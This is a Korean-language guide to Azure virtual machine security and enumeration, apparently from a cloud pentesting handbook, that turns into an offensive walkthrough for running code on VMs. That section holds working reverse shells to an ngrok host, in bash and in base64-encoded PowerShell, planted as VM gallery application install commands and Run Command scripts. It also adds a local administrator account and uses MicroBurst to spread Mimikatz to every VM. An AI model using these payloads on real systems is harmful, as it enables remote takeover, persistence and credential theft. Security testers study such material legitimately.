Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 클라우드 기반 서버로, Windows 또는 Linux 운영 체제를 실행할 수 있습니다. 이를 통해 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합할 수 있도록 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다.
보안 구성
가용성 영역: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 여러 영역이 지역 중단이나 재해의 영향을 받을 위험을 최소화합니다.
보안 유형:
표준 보안: 특정 구성이 필요하지 않은 기본 보안 유형입니다.
신뢰할 수 있는 시작: 이 보안 유형은 보안 부팅 및 가상 신뢰 플랫폼 모듈(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다.
기밀 VMs: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 자세히 보기.
인증: 기본적으로 새로운 SSH 키가 생성되지만, 공개 키를 사용하거나 이전 키와 기본 사용자 이름인 azureuser를 사용할 수 있습니다. 비밀번호를 사용하도록 구성할 수도 있습니다.
VM 디스크 암호화: 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다.
호스트에서 암호화를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 (문서).
NIC 네트워크 보안 그룹:
없음: 기본적으로 모든 포트를 엽니다.
기본: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다.
고급: 보안 그룹 선택
백업: 표준 백업(하루에 한 번) 및 향상된(하루에 여러 번) 백업을 활성화할 수 있습니다.
패치 조정 옵션: 선택한 정책에 따라 VM에 자동으로 패치를 적용할 수 있도록 합니다. 문서에서 설명합니다.
알림: VM에서 무언가 발생할 때 이메일이나 모바일 앱으로 자동 알림을 받을 수 있습니다. 기본 규칙:
CPU 사용률이 80%를 초과
사용 가능한 메모리 바이트가 1GB 미만
데이터 디스크 IOPS 소비 비율이 95%를 초과
OS IOPS 소비 비율이 95%를 초과
총 네트워크가 500GB를 초과
총 네트워크 아웃이 200GB를 초과
VmAvailabilityMetric이 1 미만
상태 모니터: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다.
잠금: VM을 잠가 읽기 전용(ReadOnly 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(CanNotDelete 잠금) 상태로 설정할 수 있습니다.
대부분의 VM 관련 리소스는 디스크, 스냅샷 등과 같은 잠금을 지원합니다.
잠금은 리소스 그룹 및 구독 수준에서도 적용할 수 있습니다.
디스크 및 스냅샷
2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.
기본적으로 모든 디스크는 플랫폼 키로 암호화됩니다.
스냅샷에서도 동일합니다.
기본적으로 모든 네트워크에서 디스크를 공유할 수 있지만, 특정 개인 접근으로 제한하거나 공개 및 개인 접근을 완전히 비활성화할 수 있습니다.
스냅샷에서도 동일합니다.
디스크를 내보내기 위해 SAS URI(최대 60일)를 생성할 수 있으며, 인증이 필요하도록 구성할 수 있습니다.
스냅샷에서도 동일합니다.
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
# List all disksGet-AzDisk# Get info about a diskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName>
이미지, 갤러리 이미지 및 복원 지점
VM 이미지는 새로운 가상 머신(VM)을 생성하는 데 필요한 운영 체제, 애플리케이션 설정 및 파일 시스템을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 설계되었습니다.
이미지는 Azure의 이미지 섹션 또는 Azure 컴퓨트 갤러리 내에서 관리할 수 있으며, 이를 통해 버전을 생성하고 이미지를 크로스 테넌트로 공유하거나 공개할 수 있습니다.
복원 지점은 VM 구성과 시점 애플리케이션 일관성 스냅샷을 저장합니다. 이는 VM과 관련이 있으며, 특정 시점에서 VM을 복원할 수 있도록 하는 것이 목적입니다.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
## List all galleries and get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName>
Azure Site Recovery
문서에서: Site Recovery는 중단 동안 비즈니스 앱과 워크로드가 계속 실행되도록 하여 비즈니스 연속성을 보장하는 데 도움을 줍니다. Site Recovery는 워크로드를 복제하여 기본 사이트에서 보조 위치로 물리적 및 가상 머신(VM)에서 실행됩니다. 기본 사이트에서 중단이 발생하면 보조 위치로 전환하고 그곳에서 앱에 접근합니다. 기본 위치가 다시 실행되면 다시 전환할 수 있습니다.
Azure Bastion
Azure Bastion은 Azure Portal 또는 점프 박스를 통해 가상 머신(VM)에 대한 안전하고 원활한 원격 데스크톱 프로토콜(RDP) 및 보안 셸(SSH) 액세스를 가능하게 합니다. VM에서 공용 IP 주소의 필요성을 제거합니다.
Bastion은 작동해야 하는 VNet에 /26 서브넷 마스크를 가진 **AzureBastionSubnet**이라는 서브넷을 배포합니다. 그런 다음, 브라우저를 통해 내부 VM에 연결할 수 있도록 하여 VM의 포트를 인터넷에 노출하지 않도록 합니다. 또한 점프 호스트로도 작동할 수 있습니다.
구독 내 모든 Azure Bastion 호스트를 나열하고 이를 통해 VM에 연결하려면 다음 명령을 사용할 수 있습니다:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
# List bastionsGet-AzBastion
메타데이터
Azure 인스턴스 메타데이터 서비스(IMDS)는 실행 중인 가상 머신 인스턴스에 대한 정보를 제공하여 관리 및 구성에 도움을 줍니다. SKU, 스토리지, 네트워크 구성 및 예정된 유지 관리 이벤트에 대한 정보와 같은 세부정보를 제공합니다. 비라우터 IP 주소 169.254.169.254에서 사용할 수 있는 REST API를 통해 제공되며, 이는 VM 내에서만 접근할 수 있습니다. VM과 IMDS 간의 통신은 호스트 내에서 이루어져 안전한 접근을 보장합니다. IMDS를 쿼리할 때 VM 내의 HTTP 클라이언트는 적절한 통신을 보장하기 위해 웹 프록시를 우회해야 합니다.
또한, 메타데이터 엔드포인트에 연락하기 위해 HTTP 요청에는 Metadata: true 헤더가 있어야 하며 X-Forwarded-For 헤더는 없어야 합니다.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)# Disks## List all disks and get info about oneGet-AzDiskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName># Snapshots## List all galleries abd get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all snapshots and get info about oneGet-AzSnapshotGet-AzSnapshot-Name <SnapshotName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName># Bastion## List bastionsGet-AzBastion# Network## List all VNets in your subscriptionGet-AzVirtualNetwork## List VNet peering connections for a given VNet(Get-AzVirtualNetwork-ResourceGroupName <ResourceGroupName>-Name <VNetName>).VirtualNetworkPeerings## List Shared Resources (e.g., Azure Firewall) in the HubGet-AzFirewall## List VPN GatewaysGet-AzVirtualNetworkGateway-ResourceGroupName <ResourceGroupName>## List VPN ConnectionsGet-AzVirtualNetworkGatewayConnection-ResourceGroupName <ResourceGroupName>## List ExpressRoute CircuitsGet-AzExpressRouteCircuit# Misc## List all virtual machine scale setsGet-AzVmss## List all availability setsGet-AzAvailabilitySet## List all load balancersGet-AzLoadBalancer## List all storage accountsGet-AzStorageAccount## List all custom script extensions on a specific VMGet-AzVMExtension-VMName <VmName>-ResourceGroupName <ResourceGroupName>
VMs에서 코드 실행
VM 확장
Azure VM 확장은 Azure 가상 머신(VM)에서 배포 후 구성 및 자동화 작업을 제공하는 작은 애플리케이션입니다.
이것은 VM 내부에서 임의의 코드를 실행할 수 있게 합니다.
필요한 권한은 **Microsoft.Compute/virtualMachines/extensions/write**입니다.
사용 가능한 모든 확장을 나열할 수 있습니다:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
# It takes some mins to runGet-AzVMExtensionImage-Location <Location>-PublisherName <PublisherName>-Type <Type>
다른 페이로드도 실행할 수 있습니다: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
VMAccess 확장을 사용하여 비밀번호 재설정
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
관련 VM 확장
필요한 권한은 여전히 **Microsoft.Compute/virtualMachines/extensions/write**입니다.
VMAccess 확장
이 확장은 Windows VM 내의 사용자 비밀번호를 수정(또는 존재하지 않을 경우 생성)할 수 있게 해줍니다.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 VM 확장입니다. 따라서 이 확장을 통해 Windows VM에서 임의의 명령을 실행하는 데 사용할 수 있습니다:
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 해주는 VM 확장입니다. 자세한 내용은 자동화 계정 서비스를 확인하세요.
VM 애플리케이션
이것은 VM에서 애플리케이션을 쉽게 추가하고 제거하는 데 사용할 수 있는 애플리케이션 데이터 및 설치 및 제거 스크립트가 포함된 패키지입니다.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
사용자 데이터
이것은 지속적인 데이터로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. 여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다.
사용자 정의 데이터
예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다:
Windows에서는 사용자 정의 데이터가 %SYSTEMDRIVE%\AzureData\CustomData.bin에 이진 파일로 저장되며, 처리되지 않습니다.
Linux에서는 /var/lib/waagent/ovf-env.xml에 저장되었고, 현재는 /var/lib/waagent/CustomData/ovf-env.xml에 저장됩니다.
Linux 에이전트: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다.
cloud-init: 기본적으로 사용자 정의 데이터를 처리하며, 이 데이터는 여러 형식일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다.
Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다.
이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Run Command
Azure가 VM에서 임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다. 필요한 권한은 Microsoft.Compute/virtualMachines/runCommand/action입니다.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt